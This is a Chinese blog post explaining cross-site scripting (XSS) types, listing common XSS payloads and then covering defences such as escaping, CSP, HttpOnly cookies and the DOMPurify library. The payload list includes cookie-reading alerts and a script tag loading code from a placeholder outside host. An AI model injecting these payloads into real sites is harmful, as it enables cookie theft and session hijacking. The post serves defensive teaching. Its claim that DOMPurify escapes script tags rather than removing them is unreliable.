xss攻击分析

最新推荐文章于 2024-05-17 09:54:19 发布

技术蹭蹭蹭

最新推荐文章于 2024-05-17 09:54:19 发布

阅读量305

点赞数

文章标签： xss 前端 javascript Powered by 金山文档

本文链接：https://blog.csdn.net/m6140/article/details/129473304

版权

xss的介绍和攻击方式

跨站脚本攻击（XSS）是指攻击者通过巧妙地注入恶意指令代码到网页中，使用户加载并执行攻击者恶意制造的网页程序。攻击者可以通过利用留下的漏洞，向用户注入恶意代码，从而获取用户的敏感信息或者控制用户的浏览器，对用户进行攻击。XSS攻击是最普遍的Web应用安全漏洞，针对的是用户层面的攻击。XSS攻击分为三种类型：

反射型XSS：攻击者通过制造一个恶意链接，诱骗用户点击，使得恶意代码被执行。例如，攻击者构造了一个恶意链接http://www.example.com?name=<script>alert('hack')</script>，用户点击链接后，网站将获取到恶意代码，并执行它，从而弹出一个对话框。

存储型XSS：攻击者将恶意代码存储在服务器端，用户在访问网站时，网站从服务器端获取到恶意代码并执行。例如，攻击者在网站的评论区输入恶意代码<script>alert('hack')</script>，网站将存储这段代码，当其他用户访问这篇评论时，恶意代码将被执行。

DOM型XSS：攻击者通过修改DOM节点来实现攻击。例如，攻击者构造一个恶意链接http://www.example.com#<script>alert('hack')</script>，当用户点击链接后，网站会将#后面的内容作为DOM节点进行解析，从而执行恶意代码。

XSS攻击可以用JavaScript代码实现。以下是一些常见的XSS攻击代码：

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1，对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

除此之外，还有一些其他的XSS攻击代码：

通过onload属性实现攻击：

<svg onload="alert(1)">
<svg onload="alert(1)"//
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
<style οnlοad=alert(1)></style>

通过在标签属性中注入攻击代码实现攻击：

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

如何防范xss攻击？

在前端防范 XSS 攻击时可以考虑以下措施：

对用户输入进行过滤和转义，比如将特殊字符（如 <、>、&、'、"等）转义成对应的实体字符，可以使用类库如 dompurify、he 等。

设置 HTTP 头部的 Content-Security-Policy (CSP) 字段，限制执行的脚本来源和样式来源，禁止使用 eval() 函数和内联样式。

使用浏览器提供的 API 进行输入检测和过滤，如 encodeURIComponent()、encodeURI()、escape()、unescape() 等。

对 cookie 进行安全设置，包括设置 HttpOnly 属性，防止 JavaScript 访问 cookie。

尽量避免使用 innerHTML、outerHTML、document.write() 等 API，可以使用 textContent、appendChild() 等更安全的 API。

对于用户上传的文件，要进行严格的类型、大小、内容等验证，并进行安全的存储和处理。

在服务端也要对用户输入进行过滤和转义，避免将恶意代码存储到数据库中。综上所述，前端防御 XSS 攻击需要从多个方面入手，综合使用不同的防御措施才能更有效地保护应用程序的安全。

用dompurify库来解决xss

dompurify 是一个用于转义 HTML、SVG 和 MathML 的 JavaScript 库，可以有效地防止 XSS 攻击。它使用白名单过滤器和安全的 DOM 解析器来清除不受信任的代码，同时保留所需的元素、属性和样式。

使用 dompurify 进行过滤和转义主要有以下步骤：

安装 dompurify 库，可以通过 npm 进行安装：npm install dompurify。

在需要使用的文件中引入 dompurify 库：import DOMPurify from 'dompurify';。

使用 DOMPurify.sanitize() 函数进行过滤和转义。示例代码如下：使用前的字符格式：

// 使用 dompurify 进行过滤和转义：
import DOMPurify from 'dompurify';
const dirty = '<div>这是一段包含恶意脚本的文本：<script>alert("XSS攻击")</script></div>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean);

// 使用后的字符格式
// 可以看到，<、>、" 等特殊字符都被转义成了对应的实体字符，从而避免了恶意代码的执行。
<div>这是一段包含恶意脚本的文本：&lt;script&gt;alert("XSS攻击")&lt;/script&gt;</div>

技术蹭蹭蹭

关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
xss攻击分析

跨站脚本攻击（XSS）是指攻击者通过巧妙地注入恶意指令代码到网页中，使用户加载并执行攻击者恶意制造的网页程序。攻击者可以通过利用留下的漏洞，向用户注入恶意代码，从而获取用户的敏感信息或者控制用户的浏览器，对用户进行攻击。XSS攻击是最普遍的Web应用安全漏洞，针对的是用户层面的攻击。XSS攻击分为三种类型：反射型XSS：攻击者通过制造一个恶意链接，诱骗用户点击，使得恶意代码被执行。例如，攻击者构造了一个恶意链接，用户点击链接后，网站将获取到恶意代码，并执行它，从而弹出一个对话框。
复制链接

扫一扫